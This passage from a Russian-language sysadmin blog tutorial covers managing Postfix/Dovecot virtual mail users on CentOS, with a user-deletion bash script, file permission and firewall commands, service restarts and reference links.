&lt;/b&gt; Adding password &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;for&lt;/span&gt; user1@example1&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;com to &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/dovecot/passwd&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;/div&gt;
&lt;div&gt;
Теперь когда файлы&amp;nbsp;&lt;span style=&quot;color: #40015a;&quot;&gt;users&lt;/span&gt;&amp;nbsp;и &amp;nbsp;&lt;span style=&quot;color: #40015a;&quot;&gt;passwd&lt;/span&gt;&amp;nbsp;лежат на диске, зададим для них корректные права&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;chgrp dovecot &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/dovecot/users&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/dovecot/passwd&lt;/span&gt;
chmod &lt;span style=&quot;color: #c00000;&quot;&gt;640&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/dovecot/users&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/dovecot/passwd&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
Для большего понимания ситуации рассмотрим синтаксис файлов&amp;nbsp;&lt;span style=&quot;color: #40015a;&quot;&gt;users&lt;/span&gt;&amp;nbsp;и &amp;nbsp;&lt;span style=&quot;color: #40015a;&quot;&gt;passwd&lt;/span&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;b&gt;cat &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/dovecot/users&lt;/span&gt;
&lt;/b&gt;user1@example1&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;com&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;5000&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;5000&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/home/vmail/example1.com/user1&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/bin/false&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
^user  ^domain       ^uid ^gid                           ^mail_dir  ^user_shell

&lt;b&gt;cat &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/dovecot/passwd&lt;/span&gt; 
&lt;/b&gt;user1@example1&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;com&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;{&lt;/span&gt;CRAM-MD5&lt;span style=&quot;color: #806030;&quot;&gt;}&lt;/span&gt;3da65e0449ed4c842c48cf6467351753cf3c1398404e8ae9c54dc3784f0890e7
^user  ^domain       ^password_hash&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Создадим&amp;nbsp;скрипт&amp;nbsp;удаления пользователя&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;cat &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/usr/local/sbin/deldovecotuser&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #e34adc;&quot;&gt;EOF&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;#!/bin/bash&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;#&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;# deldovecotuser - for deleting virtual dovecot users&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;#&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;if [ ! &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;# = 1 ]&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;then&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;echo -e &quot;Usage: &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;0 username@domain&quot;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;exit 1&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;else&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;user=&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\`&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;echo &quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;1&quot; | cut -f1 -d &quot;@&quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\`&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;domain=&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\`&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;echo &quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;1&quot; | cut -s -f2 -d &quot;@&quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\`&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;if [ -x &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;domain ]&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;then&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo -e &quot;No domain given&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;Usage: &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;0 username@domain: &quot;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit 2&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;fi&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;fi&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;read -n 1 -p &quot;Delete user &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;user@&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;domain from dovecot? [Y/N]? &quot;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;echo&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;case &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;REPLY in&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;y | Y)&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;new_users=&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\`&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;grep -v &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;user@&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;domain /etc/dovecot/users&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\`&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;new_passwd=&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\`&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;grep -v &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;user@&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;domain /etc/dovecot/passwd&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\`&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;new_vmaps=&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\`&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;grep -v &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;user@&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;domain /etc/postfix/vmaps&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\`&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;echo &quot;Deleting &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;user@&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;domain from /etc/dovecot/users&quot;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;echo &quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;new_users&quot; &amp;gt; /etc/dovecot/users&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;echo &quot;Deleting &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;user@&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;domain from /etc/dovecot/passwd&quot;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;echo &quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;new_passwd&quot; &amp;gt; /etc/dovecot/passwd&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;echo &quot;Deleting &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;user@&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;domain from /etc/postfix/vmaps&quot;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;echo &quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;new_vmaps&quot; &amp;gt; /etc/postfix/vmaps&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;postmap /etc/postfix/vmaps&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;postfix reload&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;read -n1 -p &quot;Delete all files in /home/vmail/&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;domain/&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;user? [Y/N]? &quot; DELETE&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;echo&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;case &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;DELETE in&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;y | Y)&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo &quot;Deleting files in /home/vmail/&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;domain/&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;user&quot;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;rm -fr /home/vmail/&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;domain/&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;user&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;;;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;* )&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo &quot;Not deleting files in /home/vmail/&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;domain/&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;user&quot;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;;;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;esac&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;;;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;* )&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;echo &quot;Aborting...&quot;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;;;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;esac&lt;/span&gt;
&lt;span style=&quot;color: #e34adc;&quot;&gt;EOF&lt;/span&gt;

chmod +x &lt;span style=&quot;color: #40015a;&quot;&gt;/usr/local/sbin/deldovecotuser&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
И попробуем удалить пользователя( я предварительно создал пользователя bad-user)&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/usr/local/sbin/deldovecotuser&lt;/span&gt; bad-user@example1&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;com
 Delete user bad-user@example1&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;com from dovecot&lt;span style=&quot;color: #806030;&quot;&gt;?&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;Y/N&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;?&lt;/span&gt; y
 Deleting bad-user@example1&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;com from &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/dovecot/users&lt;/span&gt;
 Deleting bad-user@example1&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;com from &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/dovecot/passwd&lt;/span&gt;
 Deleting bad-user@example1&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;com from &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/postfix/vmaps&lt;/span&gt;
 &lt;span style=&quot;color: #40015a;&quot;&gt;postfix/postfix-script&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; refreshing the Postfix mail system
 Delete all files &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/home/vmail/example1.com/bad-user&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;?&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;Y/N&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;?&lt;/span&gt; y
 Deleting files &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/home/vmail/example1.com/bad-user&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Разрешим порты в IPtables&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;iptables -I INPUT 1 -m state --state NEW -m tcp &lt;span style=&quot;color: #44aadd;&quot;&gt;-p&lt;/span&gt; tcp --dport &lt;span style=&quot;color: #c00000;&quot;&gt;25&lt;/span&gt; -j ACCEPT
iptables -I INPUT 1 -m state --state NEW -m tcp &lt;span style=&quot;color: #44aadd;&quot;&gt;-p&lt;/span&gt; tcp --dport &lt;span style=&quot;color: #c00000;&quot;&gt;110&lt;/span&gt; -j ACCEPT
iptables -I INPUT 1 -m state --state NEW -m tcp &lt;span style=&quot;color: #44aadd;&quot;&gt;-p&lt;/span&gt; tcp --dport &lt;span style=&quot;color: #c00000;&quot;&gt;143&lt;/span&gt; -j ACCEPT
&lt;b&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/etc/init.d/iptables&lt;/span&gt; save
&lt;/b&gt; iptables&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; Saving firewall rules to &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/sysconfig/iptables&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;  OK  &lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
Ну и не забудьте всё перезапустить&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;b&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/etc/init.d/dovecot&lt;/span&gt; restart
&lt;/b&gt; Stopping Dovecot Imap&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;                                     &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;  OK  &lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;
 Starting Dovecot Imap&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;                                     &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;  OK  &lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;
&lt;b&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/etc/init.d/postfix&lt;/span&gt; restart
&lt;/b&gt; Shutting down postfix&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;                                     &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;  OK  &lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;
 Starting postfix&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;                                          &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;  OK  &lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Теперь попробуйте подключиться и&amp;nbsp;протестировать&amp;nbsp;как ходят письма&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
Если у вас есть желание настроить SSL/TLS то читаем дальше&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class=&quot;GIL3GQOBOB&quot; href=&quot;http://sc0rp1us.blogspot.ru/2013/04/tlsssl-postfix.html&quot; style=&quot;border: 0px; color: #1155cc; font-family: Arial, Helvetica, sans-serif; font-size: 13px; margin: 0px 10px 0px 0px; padding: 0px; text-decoration: none; vertical-align: baseline;&quot;&gt;Включаем поддержку TLS/SSL в Postfix&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;GIL3GQOBOB&quot; href=&quot;http://sc0rp1us.blogspot.ru/2013/04/tlsssl-dovecot-centos-x8664.html&quot; style=&quot;border: 0px; color: #1155cc; cursor: pointer; font-family: Arial, Helvetica, sans-serif; font-size: 13px; margin: 0px 10px 0px 0px; padding: 0px; vertical-align: baseline;&quot;&gt;Включаем поддержку TLS/SSL для Dovecot в CentOS x86_64&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
ниже инфа по теме&lt;/div&gt;
&lt;div&gt;
#######################&lt;br /&gt;
&lt;a href=&quot;https://help.ubuntu.com/community/PostfixVirtualMailBoxClamSmtpHowto&quot;&gt;https://help.ubuntu.com/community/PostfixVirtualMailBoxClamSmtpHowto&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;http://help.ubuntu.ru/wiki/%D1%80%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_ubuntu_server/%D0%BF%D0%BE%D1%87%D1%82%D0%BE%D0%B2%D1%8B%D0%B5_%D1%81%D0%B5%D1%80%D0%B2%D0%B8%D1%81%D1%8B/postfix&quot;&gt;http://help.ubuntu.ru/wiki/%D1%80%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_ubuntu_server/%D0%BF%D0%BE%D1%87%D1%82%D0%BE%D0%B2%D1%8B%D0%B5_%D1%81%D0%B5%D1%80%D0%B2%D0%B8%D1%81%D1%8B/postfix&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;a href=&quot;http://wiki2.dovecot.org/BasicConfiguration&quot;&gt;http://wiki2.dovecot.org/BasicConfiguration&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;https://help.ubuntu.com/community/Postfix#Dovecot_SASL&quot;&gt;https://help.ubuntu.com/community/Postfix#Dovecot_SASL&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;http://wiki2.dovecot.org/HowTo/PostfixAndDovecotSASL&quot;&gt;http://wiki2.dovecot.org/HowTo/PostfixAndDovecotSASL&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;http://wiki.centos.org/HowTos/postfix_sasl&quot;&gt;http://wiki.centos.org/HowTos/postfix_sasl&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;http://www.postfix.org/SASL_README.html#server_dovecot&quot;&gt;http://www.postfix.org/SASL_README.html#server_dovecot&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;http://wiki2.dovecot.org/AuthDatabase/PasswdFile&quot;&gt;http://wiki2.dovecot.org/AuthDatabase/PasswdFile&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;http://www.adomas.org/2006/08/postfix-dovecot/&quot;&gt;http://www.adomas.org/2006/08/postfix-dovecot/&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;http://wiki.centos.org/HowTos/postfix_sasl?highlight=%28%28HowTos%7Cpostfix%29%29&quot;&gt;http://wiki.centos.org/HowTos/postfix_sasl?highlight=%28%28HowTos%7Cpostfix%29%29&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;http://wiki2.dovecot.org/HowTo/PostfixAndDovecotSASL&quot;&gt;http://wiki2.dovecot.org/HowTo/PostfixAndDovecotSASL&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;http://wiki.dovecot.org/FindMailLocation&quot;&gt;http://wiki.dovecot.org/FindMailLocation&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;http://www.postfix.org/SASL_README.html#server_dovecot&quot;&gt;http://www.postfix.org/SASL_README.html#server_dovecot&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;http://wiki2.dovecot.org/AuthDatabase/PasswdFile&quot;&gt;http://wiki2.dovecot.org/AuthDatabase/PasswdFile&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;http://wiki2.dovecot.org/HowTo/PostfixAndDovecotSASL&quot;&gt;http://wiki2.dovecot.org/HowTo/PostfixAndDovecotSASL&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;a class=&quot;zemanta-pixie-a&quot; href=&quot;http://www.zemanta.com/?px&quot; title=&quot;Enhanced by Zemanta&quot;&gt;&lt;img alt=&quot;Enhanced by Zemanta&quot; class=&quot;zemanta-pixie-img&quot; src=&quot;http://img.zemanta.com/zemified_a.png?x-id=36c02141-cd0f-4c5a-abf2-8835ffeecd32&quot; style=&quot;border: none; float: right;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
